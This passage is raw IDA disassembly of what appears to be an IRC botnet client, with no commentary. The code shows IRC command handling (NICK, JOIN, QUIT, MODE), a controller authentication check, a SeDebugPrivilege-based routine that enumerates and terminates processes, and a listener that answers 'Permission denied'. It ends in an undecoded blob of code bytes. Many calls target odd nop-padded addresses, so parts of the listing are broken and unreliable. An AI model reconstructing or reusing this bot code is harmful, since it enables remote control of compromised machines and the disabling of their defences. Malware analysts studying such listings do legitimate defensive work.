aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_414908: ; CODE XREF: sub_40EE72+5A60j ; sub_40EE72+5A6Bj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_4356A8 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5A add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4149AB loc_414995: ; CODE XREF: sub_40EE72+5B37j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 26004EDh jmp short loc_414995 ; --------------------------------------------------------------------------- loc_4149AB: ; CODE XREF: sub_40EE72+5B21j nop call near ptr 264030Ch push eax push offset dword_435660 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BC: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_435638 call sub_40BF6D jmp loc_414528 ; --------------------------------------------------------------------------- loc_4149DC: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A36 push offset dword_435634 push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3C ; --------------------------------------------------------------------------- loc_414A36: ; CODE XREF: sub_40EE72+5BA8j mov [ebp+var_46C], ebx loc_414A3C: ; CODE XREF: sub_40EE72+5BC2j lea eax, [ebp+var_2DC] push offset dword_435608 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5A add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC5 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414AA6 loc_414A94: ; CODE XREF: sub_40EE72+5C32j cmp [ebp+var_460], ebx jnz short loc_414AC1 push 32h nop call near ptr 26004EDh jmp short loc_414A94 ; --------------------------------------------------------------------------- loc_414AA6: ; CODE XREF: sub_40EE72+5C20j call near ptr 264030Ch nop push eax push offset dword_4355C0 loc_414AB2: ; CODE XREF: sub_40EE72+489Dj ; sub_40EE72+49B9j lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch loc_414AC1: ; CODE XREF: sub_40EE72+4527j ; sub_40EE72+453Fj ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACD: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotss ; "botss" push offset dword_435598 jmp short loc_414AEB ; --------------------------------------------------------------------------- loc_414AD9: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_489C50 call sub_40B721 pop ecx push eax push offset dword_43555C loc_414AEB: ; CODE XREF: sub_40EE72+5C65j lea eax, [ebp+var_2DC] push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B18: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4A cmp [ebp+var_C], ebx jz short loc_414B59 push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B59 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B59 ; --------------------------------------------------------------------------- loc_414B4A: ; CODE XREF: sub_40EE72+5CAFj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B59: ; CODE XREF: sub_40EE72+5CB4j ; sub_40EE72+5CC3j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B60: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_43550C call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B82: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4354CC call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA3: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_414BB9: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_4354BC push offset dword_4354B0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD1: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_4354A4 push offset dword_435494 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BE9: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C08 push edi call sub_41781F test eax, eax pop ecx jz short loc_414C08 push edi call sub_41781F pop ecx jmp short loc_414C0D ; --------------------------------------------------------------------------- loc_414C08: ; CODE XREF: sub_40EE72+5D80j ; sub_40EE72+5D8Bj mov eax, dword_42F5A8 loc_414C0D: ; CODE XREF: sub_40EE72+5D94j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C32 push esi loc_414C1F: ; CODE XREF: sub_40EE72+5DCFj lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C49 ; --------------------------------------------------------------------------- loc_414C32: ; CODE XREF: sub_40EE72+5DAAj cmp [ebp+var_9C7], bl jz short loc_414C43 lea eax, [ebp+var_D8] push eax jmp short loc_414C1F ; --------------------------------------------------------------------------- loc_414C43: ; CODE XREF: sub_40EE72+5DC6j mov [ebp+var_488], bl loc_414C49: ; CODE XREF: sub_40EE72+5DBEj mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5A add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414CFA loc_414CE4: ; CODE XREF: sub_40EE72+5E86j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h nop call near ptr 26004EDh jmp short loc_414CE4 ; --------------------------------------------------------------------------- loc_414CFA: ; CODE XREF: sub_40EE72+5E70j call near ptr 264030Ch nop push eax push offset unk_43544C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0B: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D33 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3D loc_414D33: ; CODE XREF: sub_40EE72+5EA8j mov [ebp+var_46C], 1 loc_414D3D: ; CODE XREF: sub_40EE72+5EBFj push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D84 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D84: ; CODE XREF: sub_40EE72+5F0Bj push eax push offset dword_435400 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5A add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F26 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414DF4 loc_414DE2: ; CODE XREF: sub_40EE72+5F80j cmp [ebp+var_460], ebx jnz short loc_414E0F push 32h nop call near ptr 26004EDh jmp short loc_414DE2 ; --------------------------------------------------------------------------- loc_414DF4: ; CODE XREF: sub_40EE72+5F6Ej nop call near ptr 264030Ch push eax push offset unk_4353B4 loc_414E00: ; CODE XREF: sub_40EE72+3DA5j ; sub_40EE72+4AC1j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch loc_414E0F: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+3959j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E20: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_435394 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E2F: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E8F push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E84 cmp eax, 2 jge short loc_414E84 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E79 lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_438738 push eax call sub_4172AE add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E79: ; CODE XREF: sub_40EE72+5FE6j push eax push offset dword_435358 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E84: ; CODE XREF: sub_40EE72+5FD1j ; sub_40EE72+5FD6j push eax push offset dword_43531C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E8F: ; CODE XREF: sub_40EE72+5FC6j mov edi, [ebp+arg_18] xor esi, esi loc_414E94: ; CODE XREF: sub_40EE72+603Ej push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB7 inc esi add edi, 80h cmp esi, 2 jl short loc_414E94 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB7: ; CODE XREF: sub_40EE72+6032j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_438738 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED1: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F45 call sub_416F23 push ebx nop call near ptr 77E75CB5h loc_414EF3: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415CFF add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_4352E8 loc_414F3E: ; CODE XREF: sub_40EE72+4344j ; sub_40EE72+49D7j ... call sub_40BFE1 pop ecx loc_414F44: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F45: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4D: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_4387B4 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_43C824 push ebx inc esi call sub_418B6E push offset asc_4352E4 ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEC lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_43525C jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEC: ; CODE XREF: sub_40EE72+6136j mov [ebp+arg_24], offset off_42F6C8 loc_414FF3: ; CODE XREF: sub_40EE72+619Dj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B3 pop ecx test eax, eax pop ecx jnz short loc_415053 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6CC jb short loc_414FF3 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_435220 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415053: ; CODE XREF: sub_40EE72+6190j mov edi, [ebp+arg_18] xor esi, esi loc_415058: ; CODE XREF: sub_40EE72+6210j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_415078 push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_415089 loc_415078: ; CODE XREF: sub_40EE72+61F1j inc esi add edi, 80h cmp esi, 2 jl short loc_415058 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_415089: ; CODE XREF: sub_40EE72+6204j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C0 push ebx push [ebp+var_4] push offset dword_4351F4 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C0: ; CODE XREF: sub_40EE72+6232j lea eax, [ebp+var_D8] push eax push offset dword_4351C4 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D1: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_489DCC, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511D proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2770F9Dh nop push eax call dword_43F64C test eax, eax jnz short loc_41513C leave retn ; --------------------------------------------------------------------------- loc_41513C: ; CODE XREF: sub_41511D+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43F624 test eax, eax jz short loc_41517A cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415163 or [ebp+var_8], 2 jmp short loc_415167 ; --------------------------------------------------------------------------- loc_415163: ; CODE XREF: sub_41511D+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415167: ; CODE XREF: sub_41511D+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43F6D4 mov esi, eax loc_41517A: ; CODE XREF: sub_41511D+32j push [ebp+var_4] nop call near ptr 2621906h mov eax, esi pop esi leave retn sub_41511D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415188 proc near ; CODE XREF: sub_40EE72+4B66p ; sub_415339+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43F688, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415332 cmp dword_43F66C, ebx jz loc_415332 cmp dword_43F588, ebx jz loc_415332 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511D pop ecx pop ecx push ebx push 0Fh call dword_43F688 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415325 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43F66C mov esi, dword_424078 test eax, eax jz loc_415320 loc_41522B: ; CODE XREF: sub_415188+BEj ; sub_415188+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43F588 test eax, eax jz loc_415320 cmp [ebp+arg_10], ebx jnz short loc_41522B cmp [ebp+arg_C], ebx jnz loc_4152D8 cmp [ebp+arg_4], ebx jz short loc_41522B push [ebp+var_124] push 8 call dword_43F688 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415295 lea eax, [ebp+var_350] push eax push edi call dword_43F534 push [ebp+var_124] test eax, eax jz short loc_41529B lea eax, [ebp+var_230] jmp short loc_4152A1 ; --------------------------------------------------------------------------- loc_415295: ; CODE XREF: sub_415188+EBj push [ebp+var_124] loc_41529B: ; CODE XREF: sub_415188+103j lea eax, [ebp+var_108] loc_4152A1: ; CODE XREF: sub_415188+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172AE add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522B ; --------------------------------------------------------------------------- loc_4152D8: ; CODE XREF: sub_415188+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522B push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2710513h push [ebp+var_4] mov edi, eax call esi push ebx push edi nop call near ptr 27C0C4Ch test eax, eax jnz short loc_41531B push edi call esi jmp short loc_415332 ; --------------------------------------------------------------------------- loc_41531B: ; CODE XREF: sub_415188+18Cj push 1 pop eax jmp short loc_415334 ; --------------------------------------------------------------------------- loc_415320: ; CODE XREF: sub_415188+9Dj ; sub_415188+B5j push [ebp+var_4] call esi loc_415325: ; CODE XREF: sub_415188+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511D pop ecx pop ecx loc_415332: ; CODE XREF: sub_415188+3Aj ; sub_415188+46j ... xor eax, eax loc_415334: ; CODE XREF: sub_415188+196j pop edi pop esi pop ebx leave retn sub_415188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415339 proc near ; DATA XREF: sub_40EE72+595Ao var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_438838 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172AE xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_415398 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_415398: ; CODE XREF: sub_415339+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_415188 add esp, 18h test eax, eax jnz short loc_4153C0 push offset unk_438800 jmp short loc_4153C5 ; --------------------------------------------------------------------------- loc_4153C0: ; CODE XREF: sub_415339+7Ej push offset unk_4387C8 loc_4153C5: ; CODE XREF: sub_415339+85j lea eax, [ebp+var_298] push eax call sub_4172AE cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153F8 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153F8: ; CODE XREF: sub_415339+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h pop edi pop esi sub_415339 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415417 proc near ; CODE XREF: sub_40EE72+4B08p ; sub_416E95+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2710513h mov esi, eax test esi, esi jz short loc_415449 push 0 push esi nop call near ptr 27C0C4Ch test eax, eax jnz short loc_415449 push esi xor edi, edi call near ptr 2621906h nop loc_415449: ; CODE XREF: sub_415417+1Aj ; sub_415417+27j mov eax, edi pop edi pop esi retn sub_415417 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41544E proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730A mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_41544E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4450CC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43F650 test eax, eax jnz short loc_415502 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417076 pop ecx push edi nop call near ptr 25F0320h loc_415502: ; CODE XREF: ___:004154E8j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43F680 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415683 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415683 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415683 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43F5C4 test eax, eax jz short loc_41557B call dword_43F5FC push eax push offset dword_43892C call sub_40BFE1 push dword ptr [ebp+8] call sub_417076 add esp, 0Ch push edi nop call near ptr 25F0320h loc_41557B: ; CODE XREF: ___:00415556j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43F620 cmp eax, edi jnz short loc_4155A5 push dword ptr [ebp-18h] call dword_43F6F4 push eax lea eax, [ebp-0B0h] push eax call sub_4172AE jmp short loc_4155B3 ; --------------------------------------------------------------------------- loc_4155A5: ; CODE XREF: ___:0041558Bj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B3: ; CODE XREF: ___:004155A3j pop ecx pop ecx push edi push ebx push offset byte_43C80C push dword ptr [esi] call dword_43F6B8 cmp dword_489DDC, edi jnz short loc_415615 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DD add esp, 10h test eax, eax jnz short loc_415615 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417076 pop ecx push edi nop call near ptr 25F0320h loc_415615: ; CODE XREF: ___:004155CAj ; ___:004155EBj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_4388E0 call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C4 add esp, 10h test eax, eax jnz short loc_41565C call near ptr 264030Ch nop push eax push offset dword_4388A4 call sub_40BFE1 push dword ptr [ebp+8] call sub_417076 add esp, 0Ch push ebx nop call near ptr 25F0320h loc_41565C: ; CODE XREF: ___:00415637j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_43886C call sub_40BFE1 push dword ptr [ebp+8] call sub_417076 add esp, 10h push edi nop call near ptr 25F0320h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415683 proc near ; CODE XREF: ___:00415518p ; ___:00415525p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jnz short loc_4156D3 mov esi, [ebp+arg_4] loc_4156A1: ; CODE XREF: sub_415683+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156C8 test al, al jz short loc_4156D7 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jz short loc_4156A1 jmp short loc_4156D3 ; --------------------------------------------------------------------------- loc_4156C8: ; CODE XREF: sub_415683+27j push offset dword_438968 call sub_40BFE1 pop ecx loc_4156D3: ; CODE XREF: sub_415683+19j ; sub_415683+43j xor eax, eax jmp short loc_4156DA ; --------------------------------------------------------------------------- loc_4156D7: ; CODE XREF: sub_415683+2Bj push 1 pop eax loc_4156DA: ; CODE XREF: sub_415683+52j pop esi leave retn sub_415683 endp ; =============== S U B R O U T I N E ======================================= sub_4156DD proc near ; CODE XREF: ___:004155E1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_415708 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4389A0 call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_415708: ; CODE XREF: sub_4156DD+11j push 1 pop eax retn sub_4156DD endp ; --------------------------------------------------------------------------- dword_41570C dd 81EC8B55h, 5A4ECh, 8458B00h, 786A5756h, 8DF08B59h, 0FFFDECBDh ; DATA XREF: sub_40EE72+5621o dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh dd 202h, 0F5E015FFh, 0F6330043h, 1D74C63Bh, 8B646850h dd 8EE80043h, 0FFFFFF68h, 1BE8B475h, 83000019h, 90570CC4h dd 1DABBBE8h, 8A685702h, 90004159h, 3BA88FE8h, 75C08502h dd 0AB92E829h, 50900222h, 438B1468h, 685BE800h, 5959FFFFh dd 0F5C815FFh, 75FF0043h, 18E0E8B4h, 57590000h, 0AB82E890h dd 6A53021Dh, 0E0458D10h, 85E85056h, 8300001Bh, 0C7660CC4h dd 2E045h, 0FFB075FFh, 43F66815h, 57066A00h, 8966026Ah dd 7589E245h, 0E815FFE4h, 8B0043F6h, 0FFFB83D8h, 13B840Fh dd 458B0000h, 69106AB4h, 